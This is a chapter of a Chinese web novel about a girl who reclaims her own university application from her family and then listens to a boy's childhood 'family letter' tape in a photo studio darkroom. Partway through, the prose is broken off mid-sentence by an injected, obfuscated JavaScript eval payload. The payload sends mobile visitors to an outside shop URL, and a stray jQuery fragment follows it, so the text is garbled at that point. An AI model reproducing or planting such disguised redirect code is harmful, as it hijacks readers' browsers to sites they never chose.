下午的校长办公室，热闹得像周末菜市场。
周建国站在窗边，脸色灰败，手里还攥着那只没来得及吃饭的铝饭盒。赵桂兰坐在门口，围裙没摘，手指一直搓着衣角。周念梅抱着胳膊站在她旁边，脸黑得像谁欠了她三个月工资；周念秋倒是自在，进门先扫了一圈，低声跟周念安说：“你们校长办公室花瓶挺丑。”
周念安：“二姐。”
“我小声说的。”
“我听见了。”
“那说明你耳朵好。”
另一边，梁振山和梁潮平父子站着，气氛比周家更僵。
梁潮平低头盯着鞋尖，脸上的青紫还没消，嘴唇抿得死紧。梁潮生靠在墙边，没站没相，偏偏这回没人骂他。教导主任大概也骂累了，端着茶杯来回走，茶叶都快被他晃成一锅汤。
刘师傅最后一个到。
他一进门，看见满屋子人，腿先软了一半。
“校长，我、我就是帮忙看了一眼表，没想闹这么大……”
教导主任火一下上来：“看了一眼？你拿钥匙进办公室，私自动学生志愿表，叫看一眼？”
刘师傅擦着汗：“是周师傅说家里商量好了，孩子不懂事。我就想着，都是一个厂的老邻居……”
“老邻居就能改志愿？”李老师忍不住了，“那是不是以后谁家孩子报什么学校，都先去邻居家开会？”
周念秋在后头轻轻“哟”了一声。
“你们李老师说话比我大姐还辣。”
周念梅瞪她：“闭嘴。”
周念秋把嘴闭上，没过三秒，又补了一句：“但说得挺对。”
周建国被说得脸上挂不住，粗着嗓子开口：“我承认是我不对。可我也是为了她以后有个稳当工作。她一个女孩子——”
“爸。”
周念安打断他。
办公室里安静下来。
她没有哭，也没有提高声音，只是看着周建国：“这句话今天别再说了。”
周建国一愣。
周念安把重新拿来的志愿表放到桌上，拿起钢笔，一笔一画写下自己的名字。
周念安。
然后是第一志愿。
省城财经学院。
她写得很慢，每一笔都落得很稳。
填完后，她把笔帽扣上，抬头看向校长：“这张表，我自己填的。以后如果要改，也只能我自己改。”
校长是个头发半白的男人，平时不怎么说重话。今天他沉默很久，把表收起来，郑重点头。
“学校会按你的原志愿上报。”
周念安听见这句话，心里那根绷了几天的弦，终于松了半寸。
赵桂兰在门口抹了下眼角。
周念梅别开脸：“早这样不就完了。”
周念秋低声说：“你刚才差点哭。”
“胡说。”
“行，风吹的。”
处理完志愿表，事情还没完。
梁潮平的事摆到了桌面上。
他承认自己收了孟小舟的钱，穿梁潮生的衣服去高三一班后排坐了一会儿，也承认文化宫音箱线是自己弄坏的。至于磁带、改表、转接广播，他没参与。
教导主任看着他：“你知道自己错在哪儿吗？”
梁潮平头低得更狠：“知道。”
“错在哪儿？”
“错在收少了。”
梁潮生闭了闭眼。
梁振山差点一巴掌拍过去：“你还贫！”
梁潮平立刻改口：“错在不该收钱，不该冒充我哥，不该弄坏音箱还跑。”
主任深吸一口气，显然在忍。
周念安站在旁边，忽然觉得梁家兄弟真是同一锅里炖出来的。一个嘴欠得拐弯，一个嘴硬得撞墙。
最后学校决定：梁潮平写检查，赔偿文化宫维修费用，初中部通报批评，但不记入档案。梁潮生翻墙逃课另行批评教育，广播站事件暂不处分。
梁振山听到“不处分”三个字，松了一口气，随即又像觉得自己不能露怯，板起脸说：“潮生，你下午回去把家里那台收音机修了。还有你弟的事，你也得管。”
梁潮生没说话。
周念安看向他。
他脸上没什么表情，像这种话已经听过太多遍，多到连反驳都显得浪费力气。
她忽然开口：“梁叔叔。”
梁振山皱眉看她。
周念安说：“梁潮平犯错，梁潮平承担。梁潮生能帮，但不该替。”
办公室里又静了一下。
这话说得太直。
梁振山脸色沉下来：“我们梁家的事，轮不到外人管。”
梁潮生抬头，正要说话。
周念安已经先一步回答：“刚才我的家事，也有很多人说轮不到别人管。可是如果一句家事就能把错藏起来，那学校今天也不用查了。”
周念梅在后头用胳膊碰了碰周念秋。
“听见没，咱三妹会骂人了。”
周念秋点头：“骂得挺文雅，遗传得不明显。”
梁潮生低下头，嘴角动了一下。
梁振山脸色难看，却没再说什么。
梁潮平忽然抬头，小声说：“我自己赔。”
梁振山转头瞪他。
梁潮平梗着脖子：“我去给文化宫搬椅子，搬到赔完。”
梁潮生看着他，半晌才说：“你先把检查写明白，别把‘音箱’写成‘英雄’。”
梁潮平气得脸红：“我认字！”
“那可不一定。”
办公室里压着的气氛终于裂了条缝。
主任把几家人都打发出去时，太阳已经偏西。
周念安跟着周家人走到楼下，赵桂兰拉住她的手，张了张嘴，半天只憋出一句：“晚上妈给你炖蛋。”
周念安看着她：“不用特意。”
“什么特意？家里鸡蛋再不吃就坏了。”赵桂兰说完，又低声补了一句，“你想吃甜的还是咸的？”
周念安喉咙微微发紧：“咸的。”
“行。”
周念梅在旁边哼了一声：“咸的好，甜的腻。”
周念秋立刻接：“你就是吃不着甜的，心里酸。”
“周念秋！”
“我穿皮鞋跑得快，你追不上。”
姐妹俩一前一后又吵起来，赵桂兰骂她们不像话，骂着骂着自己也笑了。周念安站在校门口，看着她们走远，心里酸得厉害，却又不是纯粹难过。
她的路还没真正走出去。
但至少今天，她把笔握回了自己手里。
梁潮生从后面走过来，手里拿着一只信封。
“韩叔让人送来的。”他说，“给我的。”
周念安看向信封。
牛皮纸，边角有些皱，上面只写了三个字：
梁潮生。
字迹清秀，是孟小舟的。
梁潮生把信封翻过来，里面掉出一把小钥匙和一张纸条。
纸条上写着：
红叶照相馆，暗房。家书在那里。
两人对视一眼。
梁潮生把钥匙攥进掌心：“我自己去。”
周念安：“我也去。”
“周念安，你这路过的范围越来越大了。”
“今天风大。”她说，“容易把人吹偏。”
梁潮生看了她两秒，笑了。
“行。”他说，“那你偏着吧。”
红叶照相馆离学校不远，门脸小，玻璃橱窗里摆着几张样片。韩师傅正在门口给相机擦镜头，看见他们俩一起过来，眼神立刻变得很有内容。
“哟。”他说，“沉冤昭雪完了？”
梁潮生：“韩叔，您能不能说点吉利的。”
“那祝你俩早日开张。”
“什么开张？”
韩师傅笑而不答，把暗房钥匙递给他：“小孟中午来过，说有个铁盒子留给你。她还说，要是你不敢听，就扔了。”
梁潮生嗤了一声：“激将法也太老了。”
“老不老不知道，管用就行。”韩师傅看周念安一眼，又补了一句，“小姑娘，暗房里黑，你别怕。”
周念安还没说话，梁潮生先笑：“韩叔，您担心错人了。”
暗房在照相馆后头。
里面窄，空气里有一股冲洗药水的味道。红灯亮着，把墙上的相纸、夹子、盆盆罐罐照得有些模糊。铁盒就放在台面上，盒盖没锁。
梁潮生打开。
里面是一盘磁带，标签上写着：
家书。
还有几张旧纸。
梁潮生看见第一张纸，脸色就变了。
周念安没有凑过去。
她只是站在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697648|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门边，给他留了点距离。
梁潮生拿起那几张纸，手指捏得很紧。
纸已经泛黄，边缘起毛。上面是歪歪扭扭的少年字迹。
妈：
今天梁潮平又把邻居玻璃砸了。爸问的时候，我说是我。你别哭了，我不疼。
但是妈，我有时候也不想当哥哥。
梁潮生忽然把纸合上。
暗房里很静。
外面韩师傅收相机的声音隔着门传进来，一下，一下，像很远。
周念安没有问“怎么了”。
她只是说：“不想看就不看。”
梁潮生低着头，半晌才笑了一声。
“挺丢人的。”
周念安看着他：“不丢人。”
“你知道写了什么吗？”
“大概知道。”
“那还不丢人？”
周念安想了想：“顶多算字丑。”
梁潮生抬头看她。
红灯下，她的表情很认真。
他忽然笑了，这回笑意终于落到眼底，却又很快淡下去。
“周念安。”他说，“你这人安慰人，挺会避重就轻。”
“有效吗？”
“还行。”
他把那几张纸重新放回盒子里，没有再翻，只拿出磁带，塞进旁边的录音机。
咔哒。
播放键按下。
里面先是一阵沙沙声。
然后是一个比现在稚嫩很多的男孩声音。
“妈，我是梁潮生。老师说今天文化宫录什么家书，可以给家里人听。我本来不想录，但她说录了有糖。”
周念安看了一眼梁潮生。
梁潮生面无表情：“我小时候比较现实。”
磁带里的小梁潮生继续说：
“妈，你别总哭。爸骂我，我也没多疼。潮平还小，他不懂事，我以后看着他。等我长大了，我给你买个新的收音机，不用你每天拍两下才能响。”
小男孩停了一下，声音低下去。
“但妈，我有时候不想当哥哥。我想就当梁潮生。”
录音到这里断了一下。
再响起时，是孟小舟现在的声音。
“梁潮生，你看，小时候的你比现在诚实。”
梁潮生伸手想按停。
周念安没有拦。
可他手指悬在按钮上，最后又放下了。
孟小舟的声音继续响着。
“我把这盘留给你，不是想让全厂听见。家书不该上广播，这点我还知道。”
“如果你还想找我，晚上七点，旧放映厅。”
“带上周念安。”
“别带老师。”
磁带里一阵短暂空白。
然后，她又补了一句：
“还有，别让吴雪晴先到。”
录音彻底结束。
暗房里只剩下磁带转到尽头的轻响。
梁潮生站在红灯底下，沉默很久，忽然说：“她倒挺会安排。”
周念安把录音机按停。
“去吗？”
梁潮生看她：“你怕吗？”
“怕。”
这个回答太干脆，倒把梁潮生说愣了。
周念安把铁盒盖好：“但怕和去不去，是两回事。”
梁潮生看着她，忽然觉得暗房里那点红光不那么闷了。
他低声说：“周念安，你真的不像好学生。”
“你也不像坏学生。”
“那我像什么？”
周念安想了想。
“像一台总是接触不良，但还能修的收音机。”
梁潮生愣住。
下一秒，他笑得差点把暗房门撞开。
外头韩师傅吓了一跳：“里头干什么呢？别把我药水碰翻！”
梁潮生在门里回：“韩叔，她骂我呢！”
周念安把铁盒抱起来，面不改色：“我没有。”
梁潮生笑着看她。
“行，你没有。”
傍晚的旧巷慢慢暗下来，照相馆门口挂着的旧灯泡亮了。橱窗里的婚纱照被昏黄灯光照着，显得比白天温柔一点。
七点还没到。
旧放映厅那边，却已经隐隐传来放映机空转的声音。
像有人早早坐在黑暗里，等一场迟来的电影开场。